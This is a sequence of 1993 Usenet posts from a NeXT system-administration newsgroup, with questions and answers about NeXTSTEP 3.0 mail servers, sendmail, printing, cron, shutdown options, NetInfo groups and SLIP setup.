From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 11 Jan 1993 16:02:06 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
Keywords: popper
Uff! I guess I should have paied attention to all help requests about running
popper on the NeXT. I am now in the position to have to run the POP 3 protocol
on NeXTStep 3.0.
I have some sources which will compile without problems (inserted one missing
'char' type declaration) and which will actually start. But if I try to connect
to the popper (inetd and services properly configured and niloaded), it just
dies without any warning or error. Debuggin is enabled, but nothing shows up in
the log files.
Any help would be greatly appreciated! Thank's in advance.
P.S. If mail returns errors, you may asume that it arrived any way. We are
currently reconfiguring our servers, which causes some problems.
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: this AppleTalk on NeXT 3.0 doesn't really work - HELP is needed!
Date: 11 Jan 1993 17:47:11 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1isbqvINNmj6@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Well, I installed 3.0 and AppleTalk. It's so nice to be able to print on
my LaserWriter IINTX which is sitting on our AppleTalk network! (GatorBox)
BUT, and BUT and BUT: I keep loosing the connection all the time and I have
to reboot the CUBE to regain the connection. In addition, many times when I
print the green light blinks on the LaserWriter but nothing gets printed out.
Are there any confirmed bugs? What's happening? Can you please help?
Please respond by email.
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: no email confirmation
Date: 11 Jan 1993 17:57:44 GMT
Organization: Michigan State University
Message-ID: <1isceoINNmsj@msuinfo.cl.msu.edu>
>Having two (possibly related) problems with NeXTMail.
I am assuming you mean Mail.app (I call it NeXTmail too)
>1) No receipt is ever received (I request a read receipt, the addressee
>reads the message, but I never get a receipt).
I think you only get a reciept if it is read by a NeXT, and maybe only with
Mail.app . If you read it with unix-mail or pine, I don't know if you get one.
I'm certain I've never gotten one when sending to non-NeXTs.
>2) The nodename on messages is being truncated
>(userid@crob.flint.umich.edu becomes userid@crob). This is OK as long as
>our local nameserver is running, but when it is down (or overworked),
>messages are sent on to its nameserver for processing and the message
>bounces with Host Unknown. Also - it seems to only be doing it to messages
>destined for the same domain (userid@infotech.tamu.edu works OK).
We had a similar problem, I think that is some bizarre stuff in your
sendmail.cf file (I am assuming you mean the nodename on your return address?).
It was a LOT of changes, ended up gtting one (sendmil.cf) that was configured
for MSU and doing a search and replace on the domain names.
Even then, stuff like PINE and TIN still goofed up the return addresses until
I modified their RC files.
Good Luck
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin
From: andrew@cubetech.com
Subject: No ! in uucp (andrew)?
Message-ID: <1993Jan11.184835.1273@cubetech.com>
Organization: Cube Technologies, Inc.
Date: Mon, 11 Jan 1993 18:48:35 GMT
Sendmail spontaneously broke itself (what else is new?). Here's the
setup, we have a mail server (imladris) to which the mail clients are
forwarding mail. I do not use NeXT's netinfo mailhost junk. I just
have a relay mailer setup in the clients sendmail.cf.
Anyway, mail is forwaded via the ether mailer to imladris where it is
spooled up to go out via uucp.
The problem that has spontaneously occurred is that sendmail on
imladris is getting upset that there is no ! in the Return-Path line:
----- Transcript of session follows -----
554 No ! in UUCP! (andrew)
----- Message header follows -----
Return-Path: <andrew>
Received: from valinor by cubetech.com (NX5.67c/NeXT-3.0/Cubetech-1.2)
id AA14735; Mon, 11 Jan 93 12:47:08 -0600
Received: by valinor.cubetech.com (NX5.67c/NX3.0S)
id AA01246; Mon, 11 Jan 93 12:47:08 -0600
Date: Mon, 11 Jan 93 12:47:08 -0600
From: Andrew Loewenstern <andrew>
Message-Id: <9301111847.AA01246@valinor.cubetech.com>
Received: by NeXT.Mailer (1.87.1)
Received: by NeXT Mailer (1.87.1)
To: andrew%cubetech.com@uu.psi.com
Subject: test
Reply-To: andrew@cubetech.com
I hadn't changed anything when this started the other day...
Any help would be appreciated.
andrew
--
andrew@cubetech.com | "We cannot dwell in the time that is to come,
Andrew Loewenstern | lest we lose our now for a phantom of our
Cube Technologies, Inc. | own design." - Erendis
0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
From: szatrows@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.sysadmin
Subject: NUCA
Keywords: NeXT Users' Choice Awards
Message-ID: <Jan.11.15.41.58.1993.23081@gandalf.rutgers.edu>
Date: 11 Jan 93 20:41:59 GMT
References: <1993Jan11.190510.3516@MITL.COM>
Organization: Rutgers Univ., New Brunswick, N.J.
N U C A
NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name!
I will take submissions from the net until Jan 23, 1993.
All you need to do is send back the form attached below with
your favorite software or hardware products for 1992.
The subject of the post should be Re: NUCA (or just replying
to this post). Send votes to szatrows@gandalf.rutgers.edu
I will post the results and maybe see about getting little
trophies or ribbons made up for the winners.
This is your chance to reward the great NeXT Developer
community by shining some well deserved praise their way.
The rules are:
- You can only vote once (i.e. one vote per e-mail address).
- You can vote for any product you wish; be it from NeXT, a 3rd
party developer, shareware/freeware (or those tasty frosted donuts
from Hostess under the 'other' category ;-)
Finally I made up a logo for the winners to use (if they want
to) to let everyone know that they won the NUCA. I'll put it up on
both orst and nova. People can let me know if they think it stinks
and if so please feel free to make your own (after all it is the
U S E R S ' choice award so the users should get involved!). BTW
you will need Helvetica-Black and Avant Garde (Book Oblique & Demi
Oblique) to see the logo in all of its glory :-)
NUCA Form below:
-----------------------------------------------------------------------
1.) Software
a.) Audio :
b.) Communications :
c.) DataBase :
d.) Developer :
e.) DTP :
f.) Game :
g.) MultiMedia :
h.) Spreadsheet :
i.) Wordprocessing :
j.) Utility :
k.) Video :
l.) Other :
2.) Overall Software Product of the Year :
3.) Hardware
a.) Audio :
b.) Communications :
c.) Display :
d.) Graphic Input :
e.) Mass Storage :
f.) Printing/Output :
g.) Video :
h.) Other :
4.) Overall Hardware Product of the Year :
5.) Overall Product of the Year :
--
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John Kheit/monoChrome | Opinions expressed represent me only! |fried %-)
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Newsgroups: comp.sys.next.sysadmin
From: andrew@cubetech.com (Andrew Loewenstern)
Subject: Big Mailing lists
Message-ID: <1993Jan11.190140.14889@cubetech.com>
Organization: Cube Technologies, Inc.
Date: Mon, 11 Jan 1993 19:01:40 GMT
I have a big problem... the IXKit mailing list I maintain has gotten
too large for sendmail to handle. I have tried "daisy-chaining"
aliases using both NetInfo aliases and sendmail aliases, and both
produce the same results.
Please post or send me info on how to create large aliases...
thanks in advance,
andrew
--
andrew@cubetech.com | "We cannot dwell in the time that is to come,
Andrew Loewenstern | lest we lose our now for a phantom of our
Cube Technologies, Inc. | own design." - Erendis
0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
From: wade@hobbes.ucsd.edu (Wade Blomgren)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: csh redirection fails when run under cron
Message-ID: <1isocbINNas7@network.ucsd.edu>
Date: 11 Jan 93 21:21:15 GMT
Followup-To: poster
Organization: University of California, San Diego
After upgrading to 3.0 I am having a problem with csh scripts run from cron
with user ids other than root. The scripts are run, but any redirection
of output from a command WITHIN the script goes to the standard output
of the script, not to the target of the redirection.
For example, the following script (saved in, say, /tmp/script, mode 755):
#! /bin/csh
echo foo > /tmp/bar
run by the following crontab entry:
* * * * * me /tmp/script > /tmp/script.out 2>&1
results in the word "foo" appearing in /tmp/script.out, NOT /tmp/bar.
The same is true for piped output:
cat /etc/hosts | grep localhost > /tmp/bar
will send the entire hosts file to the output of the script, and nothing
goes through the grep or into /tmp/bar.
NOTE: the output files _are created_. That is to say, in the first
simple example, the file /tmp/bar will exist, but it will be empty.
This behavior does not seem to happen when the cron command is run as
root. When the script is run from the command line by the user account
it works fine. Adding additional levels of indirection (script calling
a script) seems to result in all output being lost.
The problem does not occur on a self contained machine in my office but
it does occur on our other machines. The only significant difference
between my machine and the failing machines is the failing machines are
running NIS. Can anyone else running non-root csh scripts with cron who
is using NIS (or not) under 3.0 comment? Am I hallucinating?
Thanks for any input - I will summarize responses.
Wade Blomgren
wade@hobbes.ucsd.edu
Newsgroups: comp.sys.next.sysadmin
From: jchin@prodigy.bc.ca (Joseph Chin)
Subject: Sendmail problem - SOLVED!
Message-ID: <1993Jan12.011653.12994@prodigy.bc.ca>
Sender: news@prodigy.bc.ca
Organization: Prodigy Technologies Corp.
Date: Tue, 12 Jan 1993 01:16:53 GMT
Thank you to all those who tried their best to help me solve my sendmail
problem ...
The problem: My NeXT began to think it was its own mailhost where it was
actually a mail client to a Sun mail server ... this led to all sorts of
problems such as not being able to send email to machines within the same
domain.
I tore apart the whole /etc directory and NetInfo databases to look for
any stray entries that might have caused the NeXT to think it was a
mailhost , but to no avail.
Finally, after feeling sick (I caught a cold on the weekend), tired, and
defeated, I realized that after I performed the 3.0 upgrade, I went
through all the network configuration files and databases and cleaned up
entries in NetInfo that might be "unnecessary" duplicates of NIS. In my
infinite wisedom, I removed the NetInfo host entry (under /machines) for
our domain's email server. Conventional wisedom would figure that if the
NeXT can't find the mailhost info in NI, it would look in the flatfile
databases which point to NIS where the mailhost can be found ...
But no ... the smart black box decided that if there is no mailhost in NI,
then the local machine must be the mailhost! Duhhhhhh!!!
Anyways, the solution was pretty straight forward - add the Sun mailhost
to NI - and everything has been working fine since (touch wood).
Joe
--
Joseph Chin Prodigy Technologies Corp.
jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia
phone 16046874636 / fax 16046871671 Canada
**** "Heaven won't take me and Hell's afraid I'll take over!" ****
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin
From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: monitoring a UPS from a serial port
Message-ID: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Tue, 12 Jan 1993 01:49:29 GMT
I'm planning on buying an APC Backup-UPS 600 to use with my NeXT
computer, and I could use some advice on setting it up so that my
machine will shut down cleanly if the UPS battery runs low. The UPS
I'm looking at has a output port which can signal that the battery is
running low, but I'm not sure what kind of wiring I'd need to do in
order to use it.
If anyone who has had experience doing this sort of thing with this
UPS, I'd really appreciate knowing how you did it. If you haven't
used this particular UPS but still have a pretty good idea how such
things work, I'd be grateful if you'd send me e-mail so I can ask you
for help if I have problems.
Many thanks,
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
Newsgroups: comp.sys.next.sysadmin
From: wave@waits.media.mit.edu (Michael B. Johnson)
Subject: CDPlayer.app problems
Message-ID: <1993Jan12.060552.29782@news.media.mit.edu>
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
Date: Tue, 12 Jan 1993 06:05:52 GMT
Hi folks. I know, I know, this thread went by and I missed it. I just went
cruising through the archives (sonata & orst) and didn't see a collection of
FAQs and the postings I've saved don't mention this. I've also asked around
here, and this "just works" for everybody else. So, with the obligatory mea
culpa out of the the way...
I finally decided to plug my NeXT CD-ROM drive in and try and play some music.
According to a friend, you just stick the music CD in the carrier, stick it in
the drive, and CDPlayer.app will pop up. Unfortunately, it goes in and then
comes back out again. Here's what's in the console:
sd2 (6,0): ERROR op:0x28 sd_state:4 scsi status:0x0
cdaudio.util: CANNOT OPEN CDPlayer
If anyone has any good suggestions (i.e. where to move
/NextDeveloper/Demos/CDPlayer.app, or what permissions should be set on
/dev/rs???), I'd be happy to hear.
Thanks.
--
--> Michael B. Johnson
--> MIT Media Lab -- Computer Graphics & Animation Group
--> (617) 253-0663 -- wave@media-lab.media.mit.edu
--> NeXT Mail accepted at wave@nordine.media.mit.edu
Newsgroups: comp.sys.next.sysadmin
From: yann@dagobah.fdn.org (Yann Lechelle)
Subject: 'PowerOffDisabled' suggested trick... (RTF)
Message-ID: <1993Jan11.214939.158@dagobah.fdn.org>
Keywords: loginwindow, PowerOffDisabled, fasthalt
Sender: yann@dagobah.fdn.org
Organization: Individual
Date: Mon, 11 Jan 1993 21:49:39 GMT
POWER OFF DISABLED... THEN WHAT ?????
As a paranoid system administrator, I welcomed the
'PowerOffDisabled' option from the loginwindow program. However, it
is true that when such an option is set, it is not that convenient to
shutdown the machine (the plug is too far under the desk !)...
Reflexively, I did a 'man loginwindow'. And surprisingly
enough, there were man pages for that (there wasn't any in NS 2.0).
It is suggested that in such a case, root should create an account
called 'power' (whatever !). They mentioned that this account should
have the following default:
loginwindow Workspace "/etc/fasthalt -p"
My questions are the following:
1) do you have the !@*&#^!&^% fasthalt on your machine ??? I really
can't find it on mine !!!
2) if it's a typo, what is the command I should use so that 'power'
actually performs a shutdown without the need to be
super-user
(which would corrupt security greatly !).
Any help would be greatly appreciated. I think the answers should be
posted as it may interest many of the system administrators that we
are...
Thanks.
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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\ Yann Lechelle (Paris, FRANCE) /
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Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: 'PowerOffDisabled' suggested trick... (RTF)
Message-ID: <C0qGHw.2E0@ux1.cso.uiuc.edu>
Keywords: loginwindow, PowerOffDisabled, fasthalt
Organization: University of Illinois at Urbana
References: <1993Jan11.214939.158@dagobah.fdn.org>
Date: Tue, 12 Jan 1993 08:48:54 GMT
yann@dagobah.fdn.org (Yann Lechelle) writes:
> POWER OFF DISABLED... THEN WHAT ?????
> As a paranoid system administrator, I welcomed the
>'PowerOffDisabled' option from the loginwindow program. However, it
>is true that when such an option is set, it is not that convenient to
> actually performs a shutdown without the need to be
>super-user
> (which would corrupt security greatly !).
>Thanks.
If you are at the console, try Cmd-~ then hit the power key. It
works even if PowerOff[is]Disabled.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: vasco@bvl.pt (antonio vasconcelos)
Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2)
Message-ID: <1993Jan11.204312.14666@bvl.pt>
Organization: Bolsa de Valores de Lisboa
References: <1is3ifINNj0d@ni.umd.edu>
Date: Mon, 11 Jan 1993 20:43:12 GMT
louie@sayshell.umd.edu (Louis A. Mamakos) writes:
: If you can run SLIP, take a look at the port that I did, available as
: /pub/next/submisions/SLIP_920904.tar on sonata.cc.purdue.edu or
: somewhere on cs.orst.edu with the same name (SLIP_920904.tar).
Well... Let's try it... :-)
--
regards,
____
|/asco
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Newsgroups: comp.sys.next.sysadmin
Subject: Re: 'PowerOffDisabled' suggested trick... (RTF)
Message-ID: <1993Jan12.130150.6840@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Tue, 12 Jan 1993 13:01:50 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <C0qGHw.2E0@ux1.cso.uiuc.edu>
Organization: Institut fuer Informatik
In article <C0qGHw.2E0@ux1.cso.uiuc.edu> writes:
> yann@dagobah.fdn.org (Yann Lechelle) writes:
>
>
> > POWER OFF DISABLED... THEN WHAT ?????
>
> > As a paranoid system administrator, I welcomed the
> >'PowerOffDisabled' option from the loginwindow program. However, it
> >is true that when such an option is set, it is not that convenient to
> > actually performs a shutdown without the need to be
> >super-user
> > (which would corrupt security greatly !).
>
>
> >Thanks.
>
> If you are at the console, try Cmd-~ then hit the power key. It
> works even if PowerOff[is]Disabled.
> --
> David Lemson (217) 244-1205
> University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
> Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
> NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Ooo, ouch, that hurts!
Now, there is a verry nice way to do this as root (iehter logged in or su'd):
shutdown -h -p now
and, if I'm not all wrong, this is also what can be used instead of the
non-existant fasthalt!
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Big Mailing lists
Message-ID: <1993Jan12.130721.6930@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Tue, 12 Jan 1993 13:07:21 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Jan11.190140.14889@cubetech.com>
Organization: Institut fuer Informatik
In article <1993Jan11.190140.14889@cubetech.com> writes:
>
> I have a big problem... the IXKit mailing list I maintain has gotten
> too large for sendmail to handle. I have tried "daisy-chaining"
> aliases using both NetInfo aliases and sendmail aliases, and both
> produce the same results.
>
> Please post or send me info on how to create large aliases...
>
>
> thanks in advance,
> andrew
> --
> andrew@cubetech.com | "We cannot dwell in the time that is to come,
> Andrew Loewenstern | lest we lose our now for a phantom of our
> Cube Technologies, Inc. | own design." - Erendis
> 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Try the undocumented include feature: (documented on suns ...)
(It works for Ultrix too, I'm just [right today] testing it on the NeXT)
The syntax for the aliases file:
<alias-name>: :include:<path and file name>
In NetInfo add a new value with the syntax:
:include:<path and file name>
where the values in <> are to be set appropriately. Then enter all the
names/addresses, one per line, into the file specified by <path and file name>.
Sendmail will then parse the file - so you don't even need to rebuild the
aliases when you make changes!
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin,bit.listserv.novell
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: problems with NFS name space and NeXTStep 3.0 computer
Message-ID: <1993Jan12.140311.22836@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Tue, 12 Jan 1993 14:03:11 GMT
I recently (just now) set up my netWare 3.11 file server with the NFS.NAM and NUC.NLM
combo.
First, I loaded the NFS.NAM module, successfully, it said. Then I did the command: add
name space nfs to volume apps. This also seemed to work. When I type: add name space at
the remote console, I get :
Loaded name spaces are:
DOS
MAC
NFS
Next, I added two files to sys:etc. They are hfsusers and nfsgroup. I inserted my NeXT
numerical id and the corresponding NetWare userid, such as:
108 joer
I added in nfsgroup:
20 staff
When I get on my NeXT and log into the NetWare server via the client and try to transfer files,
however, I get rejected if the file name is longer than the DOS module. Of course the same
thing occurs on a PC.
Would like to store longer file names on the NetWare 3.11 file server, and I would deeply
appreciate any assistance that can be offered in this matter.
Please reply by email. I would be glad to summarize, if a solution is discovered.
Thanks!
Joe
--
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library joer@inca.law.csuohio.edu
| "We look for things ... to make us go!"
Newsgroups: comp.sys.next.sysadmin
From: vasco@bvl.pt (antonio vasconcelos)
Subject: Re: HELP popper
Message-ID: <1993Jan12.100501.2904@bvl.pt>
Organization: Bolsa de Valores de Lisboa
References: <1993Jan11.160206.3483@urz.unibas.ch>
Date: Tue, 12 Jan 1993 10:05:01 GMT
frank@ifi.unibas.ch (Robert Frank) writes:
: to the popper (inetd and services properly configured and niloaded), it just
: dies without any warning or error. Debuggin is enabled, but nothing shows up in
: the log files.
What about /etc/syslog.conf ??? Have you add the propper lines ?
This is the line I added to mine, (under NS 2.2)
local0.notice;local0.debug /usr/spool/mqueue/POPlog
Have o tried:
telnet localhost 110
The popper should show up and send a message to your terminal, you
can end the connection just typing 'quit' (no quotes) and ENTER.
Like this...
***********************************************************
~> telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK UCB Pop server (version 1.7b1) at jessica.bvl.pt starting.
quit
+OK Pop server at jessica.bvl.pt signing off.
Connection closed by foreign host.
~>
***********************************************************
If the popper don't show up, try telnet to port 109, 109 is the pop2
port, maybe your /etc/services is not correct. (Or maybe is something
with NS 3.0, in that case, forget everything I said... I don't know
nothing about it).
: Any help would be greatly appreciated! Thank's in advance.
I hope this helps...
--
regards,
____
|/asco
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From: roy@prism.gatech.EDU (Roy Mongiovi)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 'PowerOffDisabled' suggested trick... (RTF)
Message-ID: <79858@hydra.gatech.EDU>
Date: 12 Jan 93 15:24:29 GMT
References: <C0qGHw.2E0@ux1.cso.uiuc.edu> <1993Jan12.130150.6840@urz.unibas.ch>
Organization: Georgia Institute of Technology
Since NeXTs automatically know whether or not to check disks (if the system
halted gracefully or not), there's no need to "fasthalt". "/usr/etc/halt"
is fine.
--
Roy J. Mongiovi Systems Support Specialist Information Technology
Georgia Institute of Technology
Tough are the souls that tread the knife's edge Atlanta, Georgia 30332-0715
J. Tull roy@prism.gatech.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
From: kurrer@lisboa.ks.uiuc.edu (Christian Kurrer)
Subject: noise reduction: spinning down the hard disk
Message-ID: <C0r38w.Mz4@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
Date: Tue, 12 Jan 1993 17:00:30 GMT
Does anybody know whether it is possible to shut down a hard disk on a
Next in a manner similar to the `power saving' mode on portables/notebook
computers?
While I am not too much worried about the power consumed by the spinning
hard disk, I am rather annoyed by the noise it produces. I had the
opportunity to work with a notebook computer over the christmas break;
everytime I did not access the hard disk for more than 3 minutes, the hard
disk stopped spinning; while this might have caused some delay (less than
a second) the next time I accessed the hard disk, it allowed me to work
long stretches of time without being disturbed by unnecessary noise.
Is there some technical reason why something like that would not work
under Unix? Does shutting down the hard disk require some hardware
features which desktop machines might not have? Am I the only one being
annoyed by noisy desktop machines? Why hasn't the industry acted, and why
is this spinning down of hard disks not yet a standart feature of desktop
machines?
Christian Kurrer
kurrer@lisboa.ks.uiuc.edu
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: talk not working
Organization: Relayed-by-Sendmail
Date: Tue, 12 Jan 1993 18:34:17 GMT
Message-ID: <9301121834.AA02365@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
This seems unrelated to this news group but it might be relevent.
I am having a problem using talk on my slab. It is not on a network, I
have it at home. I was going to have a partner in a group project call
in thriugh my modem and login under a demo account i made but when
I tried to use talk, it gave me an error of - can't figure out network
address. So I edited the local configuation and put in a fake address
and it still doesn't work.
Any help to fix this problem would be greatly appreciated.
Please respond by mail if convenient.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted
Honours Computer Science, University of Western Ontario
>>> Developing in the NeXT generation <<<
****************************************************************************
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help! Installing 3.0 on external HD
Date: 12 Jan 1993 19:04:31 GMT
Organization: The University of Maryland, College Park
Message-ID: <1iv4nvINN92g@ni.umd.edu>
References: <ntomczak.726619722@vega> <1993Jan10.170814.9221@znext.cts.com> <17898@umd5.umd.edu>
In article <17898@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes:
>In article <1993Jan10.170814.9221@znext.cts.com> zeke@znext.cts.com writes:
>> so the syntax should be
>> 'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one
>>controller ( unless you have an extra cpu card a la Spherical ) an that one
>>defaults to 0. The syntax provided would probably confuse the system, and the
>
>Um, no. The first number is the SCSI ID, the second is the LUN (which lots
>of people theorize will always be 0 on the NeXTs because they only have one
>SCSI channel; makes sense to me but I can't confirm or deny it personally),
>and the last is the partition number.
Um, close. :-) The first number is the SCSI controller target number
(usually referred to as the "SCSI ID"), the second is the logical unit
number and the third the partitition number of the disk.
The LUN has nothing to do with the NeXT; it is used when the addressed
SCSI controller on the SCSI bus has more than one unit attached to it.
In days past, when disks didn't have embedded SCSI controllers, you'd
have a seperate SCSI controller on the bus which could have one or
more {ESDI, SMD, ST-506} drives attached to it. The LUN (Logical Unit
Number) could be used to select amongst the units/disk attached to the
controller.
Louis Mamakos
From: vqueved@nextlab.calstatela.edu (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: Group Trouble
Keywords: NI Group Trouble
Message-ID: <1993Jan12.105106.3771@nic.csu.net>
Date: 12 Jan 93 18:51:05 GMT
Has anyone experienced trouble using NetInfo and Multiple Groups?
I have a situation that I have defined 20 groups within an single
directory. The groups are defined with the root netinfo.
The groups are:
engl1:*:301:jjones,user1
engl2:*:302:jjones,user2
engl3:*:303:jjones,user3
engl4:*:304:jjones,user4
engl5:*:305:jjones,user5
engl6:*:306:jjones,user6
engl7:*:307:jjones,user7
engl8:*:308:jjones,user8
engl9:*:309:jjones,user9
engl10:*:310:jjones,user10
engl11:*:311:jjones,user11
engl12:*:312:jjones,user12
engl13:*:313:jjones,user13
engl14:*:314:jjones,user14
engl15:*:315:jjones,user15
engl:*:300:user1,user2,user3,user4,user5,user6,user7,user8,user9,user10,..
.user20
engl16:*:316:jjones,user16
engl17:*:317:jjones,user17
engl18:*:318:jjones,user18
engl19:*:319:jjones,user19
engl20:*:320:jjones,user20
I defined the group using niload.
Originally I setup about 15 of the groups. I then added the additional 5
users. The original groups were recognized (I could use the groups to add
read/write permisson to jjones).
After, I added additional groups. I have had problems trying to access
the additional groups (i.e., engl16...engl20) without any success.
Is there any limitation to the number of groups you can define?
Is there a limit of characters that you can name groups?
I have had this problem before. I had to rebuild the network copy of the
NetInfo and started to rebuild it from scratch.
Any information would be helpfull.
Thanks
-Victor Quevedo
Newsgroups: comp.sys.next.sysadmin
From: yann@dagobah.fdn.org (Yann Lechelle)
Subject: Re: Console -PowerOffDisabled option wont stay in effect (OS 3.0)
Message-ID: <1993Jan12.101108.430@dagobah.fdn.org>
Sender: yann@dagobah.fdn.org
Organization: Individual
References: <7274@ucsbcsl.ucsb.edu>
Date: Tue, 12 Jan 1993 10:11:08 GMT
to answer Douglas Scott:
have you tried the default database instead of the ttys file ? It works
for me, at least.
---
/ ================================================= \
\ Yann Lechelle (Paris, FRANCE) /
/ yann@dagobah.fdn.org Email/NeXTmail \
\ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ /
/ "grep me no patterns and I'll tell you no lines." \
\ ================================================= /
--
/ ================================================= \
\ Yann Lechelle (Paris, FRANCE) /
/ yann@dagobah.fdn.org Email/NeXTmail \
\ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ /
Newsgroups: comp.sys.next.sysadmin
From: vasco@bvl.pt (antonio vasconcelos)
Subject: NeXT fsck
Message-ID: <1993Jan12.121646.3923@bvl.pt>
Organization: Bolsa de Valores de Lisboa
Date: Tue, 12 Jan 1993 12:16:46 GMT
How do I do a fsck in a NeXT station Turbo running NS 2.2 ?
fsck is there, all right, but how do I unmount the root
filesystem ??
--
regards,
|/asco (^ ^)
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP config files HELP
Date: 12 Jan 1993 15:35:41 -0500
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Sender: rdelucca@rosemary.uucp.jhu.edu
Message-ID: <1iva2tINNeqk@jhunix.hcf.jhu.edu>
Keywords: SLIP Supra
Hello,
I'm getting started configuring SLIP on this NS Turbo (the
server relay is also an NS Turbo). We're both using Supra
modems, V.32 and .32bis respectively.
If any kind soul can help out with suggestions/tips for the
tcldiald TCL script and the login-annex.tcl file I'd
appreciate it. Any other tips welcome.
Thanks
BTW the SLIP version is Louie Mamakos' available at sonata
in submissions directory
de Lucca
Johns Hopkins Univ
Nextmail rdelucca@rosemary.uucp.jhu.edu
From: t68@nikhefh.nikhef.nl (Jos Vermaseren)
Newsgroups: comp.sys.next.sysadmin
Subject: security
Message-ID: <2179@nikhefh.nikhef.nl>
Date: 12 Jan 93 14:57:58 GMT
Organization: Nikhef-H, Amsterdam (the Netherlands).
I am trying to get some NeXTs introduced into our networks.
The system administrator is very much into security, so he would
like to know how secure the NeXT is. Can anybody comment on its
security and how it compares to other workstations (like SUN, HP,
Apollo, SGI, DEC)?
(I never see anything about it on usenet, so I guess it cannot be
too bad)
Thanks
Jos Vermaseren
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin
From: snelson@ptdca2.intel.com (Shannon Nelson)
Subject: Re: monitoring a UPS from a serial port
Message-ID: <C0rDvn.zt@hfglobe.intel.com>
Sender: news@hfglobe.intel.com (News User)
Organization: Portland Technology Development, Intel Corp., Aloha, OR
References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU>
Date: Tue, 12 Jan 1993 20:50:10 GMT
